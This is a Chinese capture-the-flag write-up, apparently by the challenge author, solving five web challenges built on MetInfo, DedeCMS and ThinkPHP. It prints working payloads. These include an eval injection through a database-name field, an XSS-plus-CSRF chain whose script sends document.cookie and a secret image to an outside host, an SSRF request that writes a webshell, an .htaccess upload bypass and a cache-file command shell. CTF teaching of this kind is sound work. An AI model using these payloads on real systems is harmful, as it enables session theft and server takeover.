前言

这次和另外一个师傅合作出了几个web,出题时间太仓促,所以很多地方有许考虑不周,望多多见谅。
接到任务是说多偏向实战,那就只能用一些最新的CMS来上了,这次题目大概是dedefun的1day利用,其余的则是网络公开漏洞或者是常规渗透思路即可解决。过程中发现各种师傅们直接掏出0day就是干,很是膜拜呀 ~

pentest

目录扫描得到file/file.php,然后猜测可以跨目录删除文件

删除文件后重装metinfo,重装的时候数据库名填写:

met#*/@eval($_GET[1]);/*

密码填写为root,这里提一句,由于平台的网络acl问题,所有的环境都是不能外连mysql的,导致会有一点坑。

最后就是getshell拿flag

mysqlonline

通过mysql执行,经过hex编码后,输出可以造成xss
select 0x3c7363726970743e616c6572742831293c2f7363726970743e

结合csrf即可打到后台

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://love.lemon/runsql.php" method="POST">
      <input type="hidden" name="sql" value="select 0x30783c736372697074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f7363726970743e" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

提交。
其中加载的js内容为:

self.location = 'http://ip/x.php?v=aaa'+btoa(document.cookie)+'aaa';

可以从服务器上面知道,有管理员登录了后台,但是地址是127.0.0.1的。

访问: http://love.lemon/admin_zzzz666.php

提示后台只能是127.0.0.1这个访问。
所以需要改一下前面的csrf html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/runsql.php" method="POST">
      <input type="hidden" name="sql" value="select 0x30783c736372697074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f7363726970743e" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

然后便可以打到cookie

通过页面源码获取可以知道一个
./static/img/iamsecret_555.jpg

外网直接访问是不行的,会403,需要通过xss来获取图片内容。flag也在图片上面。

var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){return false}}}return a},req:function(b,c,d,e){d=(d||"").toUpperCase();d=d||"GET";c=c||"";if(b){var a=this.ajax();a.open(d,b,true);if(d=="POST"){a.setRequestHeader("Content-type","application/x-www-form-urlencoded")}a.onreadystatechange=function(){if(a.readyState==4){if(e){e(a)}}};if((typeof c)=="object"){var f=[];for(var i in c){f.push(i+"="+encodeURIComponent(c[i]))}a.send(f.join("&"))}else{a.send(c||null)}}},get:function(a,b){this.req(a,"","GET",b)},post:function(a,b,c){this.req(a,b,"POST",c)}};

function getBase64(img){
    function getBase64Image(img,width,height) {//width、height调用时传入具体像素值,控制大小 ,不传则默认图像大小
        var canvas = document.createElement("canvas");
        canvas.width = width ? width : img.width;
        canvas.height = height ? height : img.height;

        var ctx = canvas.getContext("2d");
        ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
        var dataURL = canvas.toDataURL();
        return dataURL;
    }
    var image = new Image();
    image.crossOrigin = '';
    image.src = img;
    return new Promise((resolve,reject)=>{
        image.onload =function (){
            resolve(getBase64Image(image));//将base64传给done上传处理
        }
    });
}

getBase64('http://127.0.0.1/static/img/iamsecret_555.jpg').then(base64 => {
    love.post(
      "http://ip/xss/x.php",
      "v="+base64,
      function(res){
        console.log(res);
      }
    );
}, err => {
    console.log(err)
})

获取图片内容
X.php内容

<?php
header('Access-Control-Allow-Origin: *');
file_put_contents('log.txt',$_POST['v']);

最后会获取到图片,当然这个过程中+会被转换为空格,所以后面还要转换回来。

dedeFun

题目描述:

运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。
1.php
<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>

感觉很傻的故事,没法,不知道如何去设计这个考点,但是从上来看,肯定是靠ssrf的点。
考点便是前段时间一个思路很棒的漏洞:dedecms利用通配符找后台目录

当然getimagesize这个函数还可以远程http请求,导致可以进行ssrf,有兴趣的朋友可以跟进php内核看下。

所以接下来就比较简单了,直接利用本身的shell去操作即可。

POST /tags.php HTTP/1.1
Host: love.lemon
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: YDAL_2132_saltkey=umJCWaoK; YDAL_2132_lastvisit=1531231707; YDAL_2132_ulastactivity=8d9ffh%2BiVUvLiWxFVmAltTKPHq5V9hUJ5PvDa4s84r553KMhDZMx; YDAL_2132_auth=a017j1pf9qMN%2F5Pa1g7C6kyv3ik6f%2B7eqtppI5c6sSWzI0ggQU5wSkRNDoXuXqvSSMnI%2BN3ObxEMn7jaaNJW; YDAL_2132_nofavfid=1; YDAL_2132_lip=10.211.55.2%2C1531237092; YDAL_2132_home_diymode=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

dopost=save&_FILES[lsa][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=file_put_contents($_GET[1],base64_decode($_GET[2]));%261=./uploads/soft/aaaa.php%262=PD9waHAgcGhwaW5mbygpOyA/Pg==&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif

babyweb

首先看到首页:

用户名为BabyWeb@my.lol

猜测密码为弱口令babyweb@1990
登陆后发现任意文件上传,但是只能图片格式

用top100密码爆破mysql,1q2w3e4r5t6y,这里本来是用root,但是搅屎太多,改为了babyweb

进入后发现

然后更改type的json数据为
{"0":"png","1":"gif","2":"jpg","3":"xxx","5":"htaccess"}
即可上传htaccess

AddType application/x-httpd-php .xxx
php_flag engine 1

上传后,在file下可以看到文件名

然后访问../img/name.xxx即可shell

A Simple CMS

考点就是thinkphp的缓存getshell漏洞,当然先得发现备份文件www.zip,然后进行审计。

/* 获取缓存数据 */
if(empty($list)){
    $list = S('sys_user_nickname_list');
}

审计代码发现更改了源码
因为用户名有长度限制
于是直接这样就OK

%0a@`$_GET[c]`;//

然后即可拿到shell

http://127.0.0.1:8097/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php

http://127.0.0.1:8097/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php?c=cat /flag>/tmp/flag

点击收藏 | 1 关注 | 1 打赏
登录 后跟帖